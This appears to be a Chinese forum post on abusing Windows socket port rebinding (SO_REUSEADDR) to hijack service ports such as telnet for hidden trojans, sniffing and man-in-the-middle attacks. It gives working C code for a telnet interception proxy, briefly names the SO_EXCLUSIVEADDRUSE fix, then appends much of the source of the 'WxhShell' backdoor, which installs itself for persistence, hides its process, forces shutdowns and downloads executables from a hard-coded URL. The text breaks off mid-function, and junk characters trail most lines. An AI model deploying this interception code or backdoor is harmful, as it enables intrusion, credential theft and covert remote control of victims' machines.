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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mOn_#2=KF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DyGls8<\!  
Uza '%R  
  saddr.sin_family = AF_INET; :Z6j5V;s  
TSsZzsdr2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R( FQ+h  
u ij^tN%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RLnL9)`W  
!+^'Ej)z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y`bTf@EP>  
sAL ]N][Y  
  这意味着什么?意味着可以进行如下的攻击: 31G0 B_T  
Y6 sX|~Zy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8iJB'#''*  
RK|*yt"f"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lYQ|NL():  
qclc--fsE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o1$u;}^|  
4<F z![>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %(lO>4>|  
CYW@Km{e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $%cc[[/U  
9 =;mY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4#03x:/<\  
=ZIT!B?4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f=R+]XPzz  
gaY&2  
  #include d"#Zp&#  
  #include j"69uj` R  
  #include `<X-3)>;G  
  #include    !sm/BsmL7T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !V37ePFje  
  int main() 1Qf}nWy  
  { $?0ch15/  
  WORD wVersionRequested; gtA34iw  
  DWORD ret; &S*~EM.l8  
  WSADATA wsaData; K ?!qNK  
  BOOL val; IL %]4,  
  SOCKADDR_IN saddr; =xI'|%  
  SOCKADDR_IN scaddr;  V>'  
  int err; #lLUBJ#:  
  SOCKET s; ]zSFX =~(S  
  SOCKET sc; ^}d]O(  
  int caddsize; P6 OnE18n  
  HANDLE mt; JF4A  
  DWORD tid;   -Qn7+?P  
  wVersionRequested = MAKEWORD( 2, 2 ); ]19VEH  
  err = WSAStartup( wVersionRequested, &wsaData ); 2L^)k?9>g+  
  if ( err != 0 ) { @ivd|*?k0  
  printf("error!WSAStartup failed!\n"); &oS$<  
  return -1; _]>1(8_N  
  } FI$:R  
  saddr.sin_family = AF_INET; 'RK"/ZhqE  
   PX 8UVA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r<e%;S  
RU:Rt'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WVy'f|3;  
  saddr.sin_port = htons(23); S }`sp[6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d qn5G!fI  
  { a[O6xA%  
  printf("error!socket failed!\n"); 1q;v|F  
  return -1; Nujnm$!,Q  
  } =#b@7Yw:  
  val = TRUE; WKEb '^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dq[h:kYm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FLqN3D=yQ  
  { f V. c6  
  printf("error!setsockopt failed!\n"); !.] JiT'o  
  return -1; 7z{wYCw  
  } -1g :3'% P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8-#%l~dr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $RPW/Lyiq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }~XWtWbd-  
V0\[|E;F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HgF;[rq3Q  
  { )\fY1WD  
  ret=GetLastError(); f&^(f1WO  
  printf("error!bind failed!\n"); pIJXP$v3  
  return -1; 4]y)YNQ(  
  } pE4a~:  
  listen(s,2); qos7u91z  
  while(1) p~qe/  
  { g>@JGzMLP  
  caddsize = sizeof(scaddr); TC\+>LXiZ  
  //接受连接请求 9t"Rw ns  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |W">&Rb<t#  
  if(sc!=INVALID_SOCKET) @c3xUK   
  { &_ekA44E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |^pev2g  
  if(mt==NULL) a:h<M^n049  
  { |"3<\$[  
  printf("Thread Creat Failed!\n"); 7;"0:eX  
  break; 11[lc2  
  } }{o !  
  } #< im?  
  CloseHandle(mt); "ZuuSi  
  } ji"g)d6  
  closesocket(s); 7RAB"T;?Q  
  WSACleanup(); ISbs l =F  
  return 0; &],uD3:5O  
  }    QHEtG2  
  DWORD WINAPI ClientThread(LPVOID lpParam) kmI0V[Y  
  { q+ $6D;9  
  SOCKET ss = (SOCKET)lpParam; Sqo+cZ  
  SOCKET sc; Jg6Lr~!i  
  unsigned char buf[4096]; {4Of.  
  SOCKADDR_IN saddr; Hcq.Lq;2:  
  long num; 'rD6MY  
  DWORD val; La26"C"X  
  DWORD ret; P3$eomX'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'y8{, R4C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kI{DxuTad  
  saddr.sin_family = AF_INET; 4q$~3C[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `@]s[1?f  
  saddr.sin_port = htons(23); K2x[ApS#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kI\m0];KnQ  
  { -Mt 5< s  
  printf("error!socket failed!\n"); N%y i4  
  return -1; g,Z A\R~  
  } yBIlwN`kB  
  val = 100; Y?T{>"_W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `BPTcL<W  
  { %`vzQt`>  
  ret = GetLastError(); w2 )Ro:G  
  return -1; o u|emAV  
  } DX>a0-Xj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L[` l80  
  { s[1ao"sZ^  
  ret = GetLastError(); lo1Ui`V  
  return -1; ]rmBM  
  } 5\-uo&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iHK~?qd}  
  { ^[L(kHOGzk  
  printf("error!socket connect failed!\n"); J~Xv R  
  closesocket(sc); ]$ew 5%  
  closesocket(ss); [uq>b|`R G  
  return -1; vh9* >[i  
  } #x%'U}sF  
  while(1) XC4Z,,ah"  
  { K~x,so  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |.IH4 K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I$Nh|eM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4JSPD#%f  
  num = recv(ss,buf,4096,0); f0Q6sVZHa  
  if(num>0) p|4qkJK8  
  send(sc,buf,num,0); Gn]36~)*H  
  else if(num==0) }kbSbRH43  
  break; -+9[X*VCc  
  num = recv(sc,buf,4096,0); adON&<  
  if(num>0) bQll;U^A  
  send(ss,buf,num,0); ?Cq7_rq  
  else if(num==0) ntiS7g e1  
  break; T X`X5j  
  } xS18t="  
  closesocket(ss); 3:%k pnO  
  closesocket(sc); jjpYg  
  return 0 ; *OVB;]D3+  
  } 6Z/`p~e  
+)Te)^&v%  
Z5{a7U4z_  
========================================================== &dtk&P{  
<G"cgN#]  
下边附上一个代码,,WXhSHELL bRC243]g*A  
lG*Rw-?a  
========================================================== 5:Qz  
od;-D~  
#include "stdafx.h" K,f:X g!:  
qZoDeN-CC  
#include <stdio.h> UNI< r  
#include <string.h> I Mgd2qIC  
#include <windows.h> p:,Y6[gMo  
#include <winsock2.h> ~Eut_d  
#include <winsvc.h> ^S#;   
#include <urlmon.h> :d mE/Tq  
D{|qP nE4  
#pragma comment (lib, "Ws2_32.lib") =O/Bte.  
#pragma comment (lib, "urlmon.lib") vN v?trw  
T}~TW26v  
#define MAX_USER   100 // 最大客户端连接数 BT{;^Hp  
#define BUF_SOCK   200 // sock buffer J=V  
#define KEY_BUFF   255 // 输入 buffer gmTBT#{6yH  
wZrFu(_  
#define REBOOT     0   // 重启 xQ?>72grP  
#define SHUTDOWN   1   // 关机 !`ol&QQ#  
1I Yip\:lS  
#define DEF_PORT   5000 // 监听端口 Pms@!yce  
^<]'?4m]  
#define REG_LEN     16   // 注册表键长度 [^>XR BSm  
#define SVC_LEN     80   // NT服务名长度 a"~o'W7  
_8K+iqMZG  
// 从dll定义API z,HhSW?&^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }v(wjD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6*8Wtq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vr!J3H f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 91 jRIB  
 Xo^8o0xi  
// wxhshell配置信息 9#LMK 1ge  
struct WSCFG { }v1wpv/b(  
  int ws_port;         // 监听端口 &K[*vyD  
  char ws_passstr[REG_LEN]; // 口令 5 s7BUT  
  int ws_autoins;       // 安装标记, 1=yes 0=no  CB7dr&>  
  char ws_regname[REG_LEN]; // 注册表键名 N'^>pSc4W|  
  char ws_svcname[REG_LEN]; // 服务名 :}Jx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VJ*1g+c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |5@Ra@0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :\T Mm>%q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8K8u|]i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G1:}{a5i_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %cNN<x8  
gv!8' DKn  
}; Z0|5VLk,<{  
pP\Cwo #,  
// default Wxhshell configuration !3Dq)ebBz  
struct WSCFG wscfg={DEF_PORT, o7y<Zd`Bj  
    "xuhuanlingzhe", J?4{#p  
    1, H7O~So*N5  
    "Wxhshell", =4y gbk  
    "Wxhshell", *MJm:  
            "WxhShell Service", v|?@k^Ms  
    "Wrsky Windows CmdShell Service", 'Kelq$dn#  
    "Please Input Your Password: ", 68%aDs  
  1, *4O=4F)x  
  "http://www.wrsky.com/wxhshell.exe", Wzq W1<*`  
  "Wxhshell.exe" $ m`Dyu  
    }; MVatV[G  
&lc@]y8  
// 消息定义模块 HC0juT OiO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0J R/V68$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~$!,-r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UhB +c  
char *msg_ws_ext="\n\rExit."; .=y=Fv6X  
char *msg_ws_end="\n\rQuit."; iAd&o `C  
char *msg_ws_boot="\n\rReboot..."; xL* psj  
char *msg_ws_poff="\n\rShutdown..."; b[%@3}E  
char *msg_ws_down="\n\rSave to "; ZlV  
e8,_"_1 :F  
char *msg_ws_err="\n\rErr!"; "tEp8m  
char *msg_ws_ok="\n\rOK!"; lH fZw})d  
gt4GN`-k  
char ExeFile[MAX_PATH]; ]aN9mT N  
int nUser = 0; ,@"yr>Q9#6  
HANDLE handles[MAX_USER]; *i#2>=)  
int OsIsNt; Zy0M\-Mn  
VPN 9 Ql=  
SERVICE_STATUS       serviceStatus; zzG=!JR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;R$G.5h  
A#>wbHjWF  
// 函数声明 DJ ru|2  
int Install(void); (}#&HE<  
int Uninstall(void); VPCI5mS_  
int DownloadFile(char *sURL, SOCKET wsh); ^} j~:EZb  
int Boot(int flag); ODJ"3 J  
void HideProc(void); N=mvr&arP  
int GetOsVer(void); 3=S |U,  
int Wxhshell(SOCKET wsl); 'r'=%u$1C  
void TalkWithClient(void *cs); &oL"AJU  
int CmdShell(SOCKET sock); xvGYd,dlK  
int StartFromService(void); z/Lb1ND8  
int StartWxhshell(LPSTR lpCmdLine); * :"*'  
hV3]1E21"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]4rmQAS7"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q`CuZkP(  
3G// _f  
// 数据结构和表定义 mR}8}K]L  
SERVICE_TABLE_ENTRY DispatchTable[] = )L<.;`g4x  
{ @6UY4vq9  
{wscfg.ws_svcname, NTServiceMain}, %Z;RY5  
{NULL, NULL} T! }G51  
}; /N0mF< P  
+o+f\!  
// 自我安装 He_O+[sc  
int Install(void) H UJqB0D ?  
{ "jZZ>\  
  char svExeFile[MAX_PATH]; a-5UG#o  
  HKEY key; at>_EiS  
  strcpy(svExeFile,ExeFile); T*p7[}#  
_ep&`K  
// 如果是win9x系统,修改注册表设为自启动 [[T7s(3  
if(!OsIsNt) { ueg%yvO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Y xG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l@Lk+-[D  
  RegCloseKey(key); +m_ .?V6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V .Kjcy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DLwlA !z  
  RegCloseKey(key); piIZ*@'  
  return 0; t%@iF U;}  
    } b~;:[ #  
  } I!zoo[/)%  
} AB=%yM7V*  
else { '[ c-$X2Ak  
^P^"t^O  
// 如果是NT以上系统,安装为系统服务 AA-$;s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $$AZ)#t[  
if (schSCManager!=0) ?MDo. z3  
{ %/eG{ oh-  
  SC_HANDLE schService = CreateService f:j:L79}  
  ( yf{\^^ i(  
  schSCManager, Uahh|> s  
  wscfg.ws_svcname, Q-)(s  
  wscfg.ws_svcdisp, NbWEP\dS'z  
  SERVICE_ALL_ACCESS, ,|f=2t+5X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9^^\Z5  
  SERVICE_AUTO_START, x ]VycS  
  SERVICE_ERROR_NORMAL, (U\o0LI  
  svExeFile, i7RK*{  
  NULL, R0M>'V?e  
  NULL, O!PGZuF  
  NULL, U" @5R[=F-  
  NULL, jS,Pu%fR  
  NULL c[J 2;"SP  
  ); fwpp qIM  
  if (schService!=0) CW;zviH5  
  { CfOyHhhKX  
  CloseServiceHandle(schService); &4E|c[HN  
  CloseServiceHandle(schSCManager); <v ub Q4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c| %5SA  
  strcat(svExeFile,wscfg.ws_svcname); 2tU3p<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S5|7D[*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :F d1k Jm  
  RegCloseKey(key); TT/=0^"  
  return 0; 5REH`-  
    } "'B DVxp'w  
  } r6j[C"@  
  CloseServiceHandle(schSCManager); ,WdSJ BK'a  
} -cUW,>E  
} :] Wn26z)  
"]^U(m>f  
return 1; w !kk(QMV  
} +sJ{9#6  
fe\'N4  
// 自我卸载 &[`2 4Db  
int Uninstall(void) }[%F  
{ %2RXrH2&H  
  HKEY key; `+=Zq :0  
fq1w <e  
if(!OsIsNt) { 6l|L/Z_6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?23J(;)s  
  RegDeleteValue(key,wscfg.ws_regname); A@M2(?w4  
  RegCloseKey(key); A?tCa*b^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6rS ? FG=  
  RegDeleteValue(key,wscfg.ws_regname); i<&z'A6&]*  
  RegCloseKey(key); =$}`B{(H  
  return 0; H!NGY]z*  
  } T7YJC,^m  
} :Gz$(!j1.'  
} h-.^*=]R6  
else { uA`e  
lBn<\Y!^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W)`>'X`  
if (schSCManager!=0) EQnU:a  
{ C&F% j.<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kFJ]F |^7  
  if (schService!=0) 7<kr|-  
  { w2$ L;q  
  if(DeleteService(schService)!=0) { 2C0j.Ib  
  CloseServiceHandle(schService); \>T1&JT  
  CloseServiceHandle(schSCManager); ]Y & 2&  
  return 0; z@~Z Mk  
  } 8<Nz34Y  
  CloseServiceHandle(schService); 0?R$>=u  
  } /3+E-|4s  
  CloseServiceHandle(schSCManager); 0$XrtnM  
} 'Q'-7z-6  
} ;[zZI~wh  
B8cg[;e81  
return 1; qPN  
} %to.'R  
57 Vn-  
// 从指定url下载文件 9U9ghWH8  
int DownloadFile(char *sURL, SOCKET wsh) m:EYOe,w  
{ <-d-. 8  
  HRESULT hr; tIA)LF  
char seps[]= "/"; lYS4Q`z$  
char *token; q q^[(n  
char *file; u 'ng'j'  
char myURL[MAX_PATH]; YC{7;=P f  
char myFILE[MAX_PATH]; Vg (p_k45`  
| rpMwkR  
strcpy(myURL,sURL); _ru<1n[4~  
  token=strtok(myURL,seps); YU87l  
  while(token!=NULL) U ;4;>  
  { (^=kV?<  
    file=token; d6W&u~  
  token=strtok(NULL,seps); VuBi_v6  
  } 1^Q!EV  
acpc[ ^'  
GetCurrentDirectory(MAX_PATH,myFILE); \  }-v  
strcat(myFILE, "\\"); Z\-Gr 2k  
strcat(myFILE, file); 7|m{hSc  
  send(wsh,myFILE,strlen(myFILE),0); 8Z@O%\1x6  
send(wsh,"...",3,0); X7aj/:fXe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hO3C _}  
  if(hr==S_OK) Y5>'(A>  
return 0; LQ$dT#z2A  
else aBF<it>  
return 1; ']Km%uwL  
8W.-Y|[5?  
} z ISy\uka  
B*Q.EKD8s  
// 系统电源模块 lr,i5n{6  
int Boot(int flag) ? !34qh  
{ E;a9RV|  
  HANDLE hToken; WsM/-P1Y  
  TOKEN_PRIVILEGES tkp; bF@iO316H  
^w RD|  
  if(OsIsNt) { P.|g4EdND  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B@3>_};Ct  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BW)t2kR&  
    tkp.PrivilegeCount = 1; z Hj_q%A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KrECAc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @0:mP  
if(flag==REBOOT) { }>Lz\.Z/+[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ku5g`ho  
  return 0; "%t !+E>nr  
} qmpU{f s  
else { :;x#qtv~Iz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?y{"OuRf.  
  return 0; H~qY7t  
} :n?}G0y  
  } !P)7t`X  
  else { k|^nrjStC  
if(flag==REBOOT) { y /?;s]>b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5.)/gK2$  
  return 0; )\0c2_w>  
} Z Q9's  
else { f1VA61z{)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z$@XMq!  
  return 0; =>h~<88#5  
} |Oaj Jux  
} ]| =#FFz  
v3jx2Z  
return 1; UUql"$q  
} yIThzy S  
(au 7wI{  
// win9x进程隐藏模块 <Gudx>I  
void HideProc(void) 2|^bDg;W+u  
{ 5h(] S[Zf3  
w3IU'(|G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gs|%3k|  
  if ( hKernel != NULL ) cXokq  
  { -1u N Z{0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z.0^:rVp~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >G+?X+9  
    FreeLibrary(hKernel); )%OV|\5#  
  } whg?X&j\V  
K31rt-IIt  
return; aKCXV[PO   
} <<![3&p#  
?G-a:'1!6  
// 获取操作系统版本 {z%%(,I  
int GetOsVer(void) kR-5RaW  
{ , v6[#NU_Z  
  OSVERSIONINFO winfo; ex2*oqAdX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ih95&HsdC  
  GetVersionEx(&winfo); c~Hq.K$d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LNU9M>  
  return 1; V# 6`PD6  
  else = %7:[#n  
  return 0; "|"bo5M:   
} 71w$i 4  
\h"QgHzp  
// 客户端句柄模块 Z5{M_^  
int Wxhshell(SOCKET wsl) \*w*Q(&3  
{ CLD*\)QD\  
  SOCKET wsh; HgX4RSU  
  struct sockaddr_in client; yHoj:f$$x  
  DWORD myID; r).S/  
Fx0<!_tY-  
  while(nUser<MAX_USER) [OsW   
{ >b/0i$8  
  int nSize=sizeof(client); L*VGdZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;z7iUke0%  
  if(wsh==INVALID_SOCKET) return 1; z|yC[ Ota  
mv xg|<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uoKC+8GA  
if(handles[nUser]==0) fD|ox  
  closesocket(wsh); XH2g:$  
else GL1!Z3  
  nUser++; 66%kq [  
  } \d%SC<s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bLoYg^T/  
sM~|}|p  
  return 0; FUm-Fp  
} s4}}MV3X  
>UuLSF}  
// 关闭 socket ]0dp^%  
void CloseIt(SOCKET wsh) }EO n=*  
{ +;z4.C{gM  
closesocket(wsh); 4aZsz,=  
nUser--; e}}xZ%$4|  
ExitThread(0); n|L.d BAs]  
} Md_\9G .e  
Ty]CdyL$  
// 客户端请求句柄 5NeEDY 2%#  
void TalkWithClient(void *cs) }`  
{ AC(}cMM+  
s6).?oE  
  SOCKET wsh=(SOCKET)cs; \"PlM!0du  
  char pwd[SVC_LEN]; ;mo}$^49*  
  char cmd[KEY_BUFF]; L1"X`Pz[}  
char chr[1]; F1|4([-<]  
int i,j; P[ KJuc  
8N8B${X  
  while (nUser < MAX_USER) { } ho8d+A  
z/rN+ ,  
if(wscfg.ws_passstr) { #!y|cP~;I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P67r+P,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Nl"y'B|  
  //ZeroMemory(pwd,KEY_BUFF); v?h#Ym3e<  
      i=0; 6576RT  
  while(i<SVC_LEN) { R_ 4600  
G m<t2Csn  
  // 设置超时 .f&,~$e4  
  fd_set FdRead; 4y21v|(9  
  struct timeval TimeOut; CWI(Q`((>  
  FD_ZERO(&FdRead); h.~S^uKi*  
  FD_SET(wsh,&FdRead); qdj,Qz9ly  
  TimeOut.tv_sec=8; KY"W{D9ib  
  TimeOut.tv_usec=0; wTIOCj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 59T:{d;~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UwdcU^xt9  
"W:'cIw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zc,fJM  
  pwd=chr[0]; G*Z4~-E4*  
  if(chr[0]==0xd || chr[0]==0xa) { S| !U=&  
  pwd=0; se$GE:hC1Q  
  break; a*S4rq@  
  } WRFzb0;01  
  i++; 0V`0="rQ  
    } Y@^M U->+  
](- :l6  
  // 如果是非法用户,关闭 socket 7ktf =Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i6(y Bn  
} ep,kImT  
 [Fr.ik  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A'6>"=ziP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w]F(o  
G4MNcy  
while(1) { (+bk +0  
eH=lX9  
  ZeroMemory(cmd,KEY_BUFF); vQ26U(7\>  
e [3sWv  
      // 自动支持客户端 telnet标准   O^4:4tRpt  
  j=0;  g5X+iV  
  while(j<KEY_BUFF) { O\B_=KWDO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t#}/VnSQ  
  cmd[j]=chr[0]; &d9tR\}  
  if(chr[0]==0xa || chr[0]==0xd) { p^7ZFUP  
  cmd[j]=0; GZ UDI#  
  break; +;pdG[N  
  } "F}a nPY  
  j++; KDwjck"5;  
    } 6 }qNH29  
)DfmO  
  // 下载文件 N 0&h5  
  if(strstr(cmd,"http://")) { Yep(,J~'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lySeq^y?Q  
  if(DownloadFile(cmd,wsh)) B.;/N220P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`FTWH  
  else KE&Y~y8O\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HpuHJ#l  
  } *>9#a0cp  
  else { +KrV!Taf  
d1D{wZ3g  
    switch(cmd[0]) { RAR"9 N .  
  P[?~KNS:/  
  // 帮助 W(1p0|WQ:  
  case '?': { Fla,#uB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %#yCp2  
    break; O:q 0-  
  } = %\;7  
  // 安装 2r,K/'  
  case 'i': { ?o"wyF A*  
    if(Install()) =Qp~@k=2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+W+f  
    else Wb68")$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aYkm]w;C  
    break; uqnoE;57^  
    } IFH%R>={  
  // 卸载 |k{?\(h;  
  case 'r': { q4|TwRx~  
    if(Uninstall()) 0:@:cz=#*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .&T JSIx$  
    else n Uz 2~z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @]Aul9.h  
    break; ;KWR/?ec  
    } \3hhM}6)DM  
  // 显示 wxhshell 所在路径 ,Si\ky7L  
  case 'p': { 3YR6@*!f/  
    char svExeFile[MAX_PATH]; [kMXr'TyPX  
    strcpy(svExeFile,"\n\r"); PBTGN;y  
      strcat(svExeFile,ExeFile); ~2beVQ(U  
        send(wsh,svExeFile,strlen(svExeFile),0); 'bN\bbR  
    break; iKu[j)F  
    } J@=1zL  
  // 重启 /Tv=BXL-  
  case 'b': { 'sn%+oN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $Ud-aRlD  
    if(Boot(REBOOT)) M3Q#=yy$D$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DzkE*vR  
    else { P>z k  
    closesocket(wsh); |qE"60&"}  
    ExitThread(0); ) **k3u t4  
    } KwlN  
    break; U{q6_z|c  
    } :CV!:sUm  
  // 关机 T?I&n[Y|  
  case 'd': { 36s[hg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .;u(uB;J6  
